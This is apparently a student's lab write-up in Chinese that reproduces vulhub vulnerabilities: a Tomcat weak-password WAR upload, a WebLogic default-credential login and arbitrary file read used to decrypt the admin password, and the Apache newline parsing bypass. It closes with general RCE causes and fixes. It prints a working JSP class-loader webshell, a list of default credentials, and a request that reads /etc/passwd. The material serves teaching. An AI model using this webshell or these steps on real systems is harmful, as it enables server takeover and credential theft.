网安实习第八天作业(23组)

目录

在vps安装docker和docker compose

复现课上漏洞,同时说明成因

1.tomcat8

2.weblogic弱口令/任意文件读取

存在弱口令时

不存在弱口令时(任意文件读取)

3.apache 换行解析

各漏洞成因

tomcat

weblogic

httpd

三.RCE漏洞的原理、利用条件及解决方案

原理

利用条件

解决方案


在vps安装docker和docker compose

复现课上漏洞,同时说明成因

1.tomcat8

进入靶场拉取拉取镜像

启动靶场:

docker-compose up -d

 关闭靶场:

docker-compose down

 靶场的启动与关闭状态:

查看靶场状态:

docker ps -a

 

靶场映射到了vps8080端口

从浏览器访问靶场:

构建木马(.jsp)

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

生成shell.war

jar -cvf shell.jsp shell.war

进入Manager App

登录存在弱口令:

账号:tomcat

密码:tomcat

登录成功,此时上传木马文件

此时你会发现文件列表中多了一个shell

蚁剑入侵成功

 

2.weblogic弱口令/任意文件读取

启动靶场

访问target:7001/console

存在弱口令时

weblogic常见弱口令总结

  • system:password
  • weblogic:weblogic
  • admin:secruity
  • joe:password
  • mary:password
  • system:sercurity
  • wlcsystem: wlcsystem
  • weblogic:Oracle@123

发现存在弱口令weblogic/Oracle@123

不存在弱口令时(任意文件读取)

此时就要用到任意文件读取了

target:7001/hello/file.jsp?path=/etc/passwd读取密码文件

得到密文

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为`SerializedSystemIni.dat`和`config.xml`,在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`(基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`)
 

咱们先找密文:

target:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

因为SerializedSystemIni.dat是二进制文件,所以使用bp抓包

发送到repeater,发现返回乱码

AES加密应该是64位,这里显示63位,进入hex,选择最后64位,右键选择保存至文件

如法炮制,找密钥文件

target:7001/hello/file.jsp?path=config/config.xml

 

找到manager-password标签,后面就是aes加密过的密码

使用vulhub这个环境下自带的decrypt目录下的weblogic_decrypt.jar,解密密文

java -jar weblogic_decrypt.jar

 后面的构建war文件上传,蚁剑链接即可,和前面步骤一样

3.apache 换行解析

漏洞路径:

~/vulhub/httpd/CVE-2017-15715

 网站界面

 

上传php文件会被拦截

文件后面加入换行符(16进制)\x0A,成功上传 

此时可构建一句话木马,使用冰蝎攻击

各漏洞成因

tomcat

弱口令:密码太简单,容易被爆破或猜测

后台文件上传:Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下,且没有对上传文件进行过滤

weblogic

存在弱口令

对用户输入内容没有进行限制与过滤

httpd

换行:Apache HTTP服务器在处理文件上传或URL请求时,由于配置错误或解析漏洞,导致当文件名中包含换行符(\x0a)时,服务器可能错误地将文件解析为可执行脚本(如PHP),从而允许执行恶意代码。

RCE:Druid是一个常用的数据库连接池组件,在某些版本中,由于未对外部输入进行充分验证和过滤,攻击者可以通过构造恶意请求,利用Druid的某些功能执行任意代码,从而控制服务器。

三.RCE漏洞的原理、利用条件及解决方案

原理

RCE(远程代码执行)漏洞的原理在于攻击者能够向目标系统发送恶意输入,这些输入被目标系统不当处理或未进行充分验证,导致系统执行了攻击者指定的代码。这通常发生在应用程序需要从用户那里接收输入,并将其作为代码或命令的一部分来执行时。如果应用程序没有对这些输入进行严格的验证和过滤,攻击者就可以构造恶意输入,从而控制目标系统。

具体来说,RCE漏洞可能发生在以下几种情况:

  1. 系统命令注入:在Web应用中,如果应用程序在执行系统命令时使用了用户输入的数据且未进行充分过滤,就可能出现命令注入漏洞。攻击者可以通过注入恶意命令来执行任意代码。
  2. 代码注入:在动态脚本语言中较为常见,如PHP、Python等。如果应用程序允许用户输入的内容被直接作为代码执行,就可能出现代码注入漏洞。
  3. 模板注入:当服务器端模板引擎在处理用户输入时没有进行充分的安全检查,攻击者可以通过构造恶意输入来执行任意代码。
  4. 反序列化漏洞:如果应用程序在反序列化用户输入的数据时没有进行充分的安全检查,攻击者可以构造恶意的序列化数据,导致在反序列化过程中执行任意代码。
利用条件

RCE漏洞的利用条件主要包括以下几点:

  1. 存在未经验证的输入:目标系统需要从用户那里接收输入,并且这些输入被用于执行代码或命令。
  2. 输入处理不当:目标系统没有对用户输入进行严格的验证和过滤,或者验证和过滤机制存在缺陷。
  3. 代码执行权限:攻击者需要能够构造出被目标系统执行的恶意代码或命令。
  4. 系统配置缺陷:目标系统的配置可能存在缺陷,使得攻击者能够更容易地利用RCE漏洞。
解决方案

针对RCE漏洞,可以采取以下解决方案来降低风险:

  1. 严格验证和过滤用户输入:对所有用户输入进行严格的验证和过滤,确保它们符合预期的格式和类型,并且不包含恶意代码或命令。
  2. 使用安全的编程实践:避免使用不安全的函数或方法,如eval()、system()等,这些函数或方法可能会执行用户输入的代码或命令。
  3. 最小化权限:确保应用程序以最小权限运行,即使发生RCE漏洞,攻击者也只能获得有限的访问权限。
  4. 使用安全的库和框架:选择经过安全审计和广泛使用的库和框架,它们通常包含更多的安全特性和修复了更多的安全漏洞。
  5. 定期更新和修补:定期更新和修补应用程序及其依赖的库和框架,以修复已知的安全漏洞。
  6. 监控和日志记录:实施监控和日志记录机制,以便在发生安全事件时能够及时发现和响应。
GitHub是一个基于Web的代码托管平台,它提供了版本控制和协作功能,让开发者可以方便地共享和管理代码。在GitHub上,有很多与网安相关的项目,这些项目致力于保护网络安全、防止黑客攻击和提高系统的安全性。以下是一些常见的GitHub网安项目: 1. OWASP(开放式Web应用程序安全项目):OWASP是一个致力于提高Web应用程序安全性的国际织。他们在GitHub上维护了一系列开源项目,包括安全工具、漏洞测试和安全指南等。 2. Metasploit:Metasploit是一个广泛使用的渗透测试框架,它提供了一系列工具和资源,帮助安全专家评估和增强系统的安全性。Metasploit在GitHub上有一个官方仓库,开发者可以在这里获取最新的代码和贡献自己的改进。 3. Snort:Snort是一个开源的入侵检测系统(IDS),它可以监测网络流量并检测潜在的攻击行为。Snort的代码托管在GitHub上,开发者可以参与到项目中,改进和定制自己的IDS规则。 4. Nmap:Nmap是一个网络扫描和主机发现工具,它可以帮助安全专家评估网络的安全性。Nmap的源代码也在GitHub上开放,用户可以自由地访问和贡献代码。 5. Security Shepherd:Security Shepherd是一个教育性的Web应用程序,旨在帮助开发者学习和理解常见的Web安全漏洞。它提供了一系列的挑战和实验,供用户测试和提高自己的安全技能。Security Shepherd的代码也在GitHub上开源。 这些项目只是GitHub上众多网安项目的一小部分,你可以通过在GitHub上搜索关键词来找到更多与网安相关的项目。希望这些信息对你有帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值